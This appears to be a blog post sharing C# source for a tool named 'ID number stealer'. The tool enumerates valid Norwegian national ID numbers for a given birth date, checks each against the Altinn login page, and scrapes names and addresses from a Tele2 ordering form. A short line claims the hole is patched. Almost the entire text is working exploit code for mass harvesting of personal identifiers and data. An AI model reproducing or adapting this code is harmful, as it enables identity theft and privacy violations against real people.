If you would like to download this sourcecode as a file, you can do that by clicking here.
I should add that there’s really no point in compiling and running this code, as the hole is patched. It’s only placed here as a example.
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Net;
using System.Text.RegularExpressions;namespace Fødselsnummer_stjeler
{
class Program
{
private static bool sjekkFødselsnummer(String fødselsnummer)
{
byte[] data = Encoding.ASCII.GetBytes("__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwtODE3MTQ0OTU2O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDU%2BOz47bDx0PHA8cDxsPFZJRVdTVEFURV9PUkRFUlBJTlNURVA7PjtsPG88dD47Pj47PjtsPGk8MT47aTwzPjtpPDU%2BO2k8Nz47aTw5PjtpPDExPjtpPDEzPjtpPDIxPjtpPDI2PjtpPDI3PjtpPDI5PjtpPDMxPjtpPDM1PjtpPDM3Pjs%2BO2w8dDxwPGw8VGV4dDs%2BO2w8VmVsa29tbWVuIHRpbCBBbHRpbm4hOz4%2BOzs%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VGV4dDs%2BO2w8TG9nZyBpbm4gbWVkIHBhc3NvcmQ6Oz4%2BOzs%2BO3Q8cDxwPGw8VGV4dDs% 2BO2w8U3RlZyAxIGF2IDI7Pj47Pjs7Pjt0PHA8bDxpbm5lcmh0bWw7PjtsPEJydWsgZGl0dCBzZWx2dmFsZ3RlIHBh
c3NvcmQgb2cga2xpa2sgcMOlIFw8aVw% 2BRm9ydHNldHRcPC9pXD4ta25hcHBlbiBmb3Igw6UgYmVrcmVmdGUgZGluIGlkZW50aXRldCBtZWQgZW5nYW5nc2tv
ZGUuOz4%2BOzs%2BO3Q8cDxsPHN0eWxlOz47bDxIRUlHSFQ6NjBweFw7ZGlzcGxheTpub25lXDs7Pj47Oz47dDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOzs%2BO3Q8cDxwPGw8VmlzaWJsZTs%2BO2w8bzxmPjs%2BPjs%2BOzs%2BO3Q8cDxwPGw8VGV4dDs%2BO2w8Rm9ydHNldHQgXD5cPjs%2BPjs%2BOzs%2BO3Q8O2w8aTwzPjtpPDU%2BO2k8Nz47PjtsPHQ8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvQ19ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8O2w8aTwwPjs%2BO2w8dDw7bDxpPDA%2BOz47bDx0PHA8cDxsPEltYWdlVXJsOz47bDwuLi8uLi9JbWFnZXMvRF9ib2tzLmdpZjs%2BPjs%2BOzs%2BOz4%2BOz4%2BO3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxOYXZpZ2F0ZVVybDs%2BO2w8Lzs%2BPjtwPGw8b25jbGljazs% 2BO2w8d2luZG93Lm9wZW4oJ0FsdGlubkhlbHAuYXNweCNpbm5sb2dnaW5nJywgJ19ibGFuaycsICd3aWR0aD04MDAs
IGhlaWdodD02MDAsIHJlc2l6YWJsZT15ZXMsIHRvb2xiYXI9bm8sIHNjcm9sbGJhcnM9eWVzJylcOyByZXR1cm4gZm
Fsc2VcOzs%2BPj47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4%2BOz47Oz47dDxwPHA8bDxWaXNpYmxlOz47bDxvPGY%2BOz4% 2BOz47Oz47Pj47Pj47Pj47bDxQaW5jb2RlU01TMTpSYWRpb0J1dHRvbkxpc3RMb2dpbkFsdGVybmF0aXZlc18wO1Bp
bmNvZGVTTVMxOlJhZGlvQnV0dG9uTGlzdExvZ2luQWx0ZXJuYXRpdmVzXzE7Pj4UnOEQeEcEjcIhShGzLKAd8PH%2Fsg%3D%3D&PincodeSMS1%3ARadioButtonListLoginAlternatives=1&PincodeSMS1%3AFnrTextBox=" + fødselsnummer + "&PincodeSMS1%3APasswordTextBox=&iebug=&PincodeSMS1%3AOrderSMSPinButton=Fortsett+%3E%3E");
Regex fødselsnummerReg = new Regex("<div id=\"PincodeSMS1_ErrorString\" class=\"userError\">Fødselsnummeret er feil.</div>");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.altinn.no/ega/Login/Login2.aspx");
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";
request.Referer = "https://www.altinn.no/ega/Login/Login2.aspx";
CookieContainer myContainer = new CookieContainer();
request.CookieContainer = myContainer;
Stream postData = request.GetRequestStream();
postData.Write(data, 0, data.Length);
postData.Close();
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream Answer = response.GetResponseStream();
StreamReader _Answer = new StreamReader(Answer);
String htmlBuffer = _Answer.ReadToEnd();
Match fødselsnummerMatch = fødselsnummerReg.Match(htmlBuffer);
if (fødselsnummerMatch.Success)
return false;
else
return true;
}
private static String sjekkPersonalia(string fødselsnummer, string tele2)
{
byte[] data = Encoding.ASCII.GetBytes("trinn=2&fratrinn=2" + tele2 + "&personnummer=" + fødselsnummer);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=3" +tele2);
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
request.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5";
request.Referer = "https://www.tele2.no/privat/mobil/bestill/index.cfm/mobil_kompis/?trinn=2" +tele2;
CookieContainer myContainer = new CookieContainer();
request.CookieContainer = myContainer;
Stream postData = request.GetRequestStream();
postData.Write(data, 0, data.Length);
postData.Close();
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream Answer = response.GetResponseStream();
StreamReader _Answer = new StreamReader(Answer);
String htmlBuffer = _Answer.ReadToEnd();
Regex regexForNavn = new Regex("<dd><input type=\"text\" name=\"fornavn\" id=\"mobil-bestilling-fornavn\" value=\"(?<fnavn>.+)\" disabled=\"disabled\" /></dd>");
Regex regexEtterNavn = new Regex("<dd><input type=\"text\" name=\"etternavn\" id=\"mobil-bestilling-etternavn\" value=\"(?<enavn>.+)\" disabled=\"disabled\" /></dd>");
Regex regexAdresse = new Regex("<dd><input type=\"text\" name=\"adresse\" id=\"mobil-bestilling-adresse\" value=\"(?<adresse>.+)\" disabled=\"disabled\" /></dd>");
Regex regexPostnummer = new Regex("<dd><input type=\"text\" name=\"postnummer\" id=\"mobil-bestilling-postnummer\" value=\"(?<postnummer>.+)\" disabled=\"disabled\" /></dd>");
Match matchForNavn = regexForNavn.Match(htmlBuffer);
Match matchEtterNavn = regexEtterNavn.Match(htmlBuffer);
Match matchAdresse = regexAdresse.Match(htmlBuffer);
Match matchPostnummer = regexPostnummer.Match(htmlBuffer);
String fornavn = matchForNavn.Groups["fnavn"].Value;
String etternavn = matchEtterNavn.Groups["enavn"].Value;
String adresse = matchAdresse.Groups["adresse"].Value;
String postnummer = matchPostnummer.Groups["postnummer"].Value;
String allinfo = String.Format("{0} {1} - {2} {3}", fornavn, etternavn, adresse, postnummer);
return allinfo;
}
static int Main(string[] args)
{
string tele2 = "";
try
{
FileStream filTele2 = new FileStream("tele2.txt", FileMode.Open, FileAccess.Read);
StreamReader streamTele2 = new StreamReader(filTele2);
tele2 = streamTele2.ReadToEnd();
streamTele2.Close();
filTele2.Close();
}
catch (Exception e)
{
Console.WriteLine("Advarsel: " + e.Message);
return 0;
}
Console.WriteLine("Vennligst skriv fødselsdatoen (ddmmåå): ");
String fødselsdatoBuffer = Console.ReadLine();
Console.WriteLine("Vil du hente ned tilhørende personalia? (0 = Nei, 1 = Ja): ");
String personaliaSjekk = Console.ReadLine();
StreamWriter sw = new StreamWriter(new FileStream(fødselsdatoBuffer + ".txt", FileMode.Create, FileAccess.Write));
sw.WriteLine("####START OF FILE####");
int d1 = Convert.ToInt32(fødselsdatoBuffer.Substring(0, 1));
int d2 = Convert.ToInt32(fødselsdatoBuffer.Substring(1, 1));
int m1 = Convert.ToInt32(fødselsdatoBuffer.Substring(2, 1));
int m2 = Convert.ToInt32(fødselsdatoBuffer.Substring(3, 1));
int å1 = Convert.ToInt32(fødselsdatoBuffer.Substring(4, 1));
int å2 = Convert.ToInt32(fødselsdatoBuffer.Substring(5, 1));
for (int i1 = 0; i1 < 10; i1++)
for (int i2 = 0; i2 < 10; i2++)
for (int i3 = 0; i3 < 10; i3++)
{
if ((i3 % 2) == 1 || (i3 % 1) == 0)
{
int k1 = 11 - ((3 * d1 + 7 * d2 + 6 * m1 + 1 * m2 + 8 * å1 + 9 * å2 + 4 * i1 + 5 * i2 + 2 * i3) % 11);
if (k1 == 11)
k1 = 0;
int k2 = 11 - ((5 * d1 + 4 * d2 + 3 * m1 + 2 * m2 + 7 * å1 + 6 * å2 + 5 * i1 + 4 * i2 + 3 * i3 + 2 * k1) % 11);
if (k2 == 11)
k2 = 0;
if (k1 != 10 && k2 != 10)
{
String fødselsnummer = String.Format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}", d1, d2, m1, m2, å1, å2, i1, i2, i3, k1, k2);
if (sjekkFødselsnummer(fødselsnummer) == true)
{
if (personaliaSjekk == "1")
{
String personalia = sjekkPersonalia(fødselsnummer, tele2);
if (personalia.Length > 5)
{
Console.WriteLine(fødselsnummer + " - " + personalia);
sw.WriteLine(fødselsnummer + " - " + personalia);
}
else
{
Console.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");
sw.WriteLine(fødselsnummer + " - KUNNE IKKE HENTE INFO!");
}
}
else
{
Console.WriteLine(fødselsnummer);
sw.WriteLine(fødselsnummer);
}
}
else
{
Console.WriteLine(fødselsnummer + " - IKKE I BRUK!!");
sw.WriteLine(fødselsnummer + " - IKKE I BRUK!!");
}
}
}
}
sw.WriteLine("####END OF FILE####");
sw.Close();
return 0;
}
}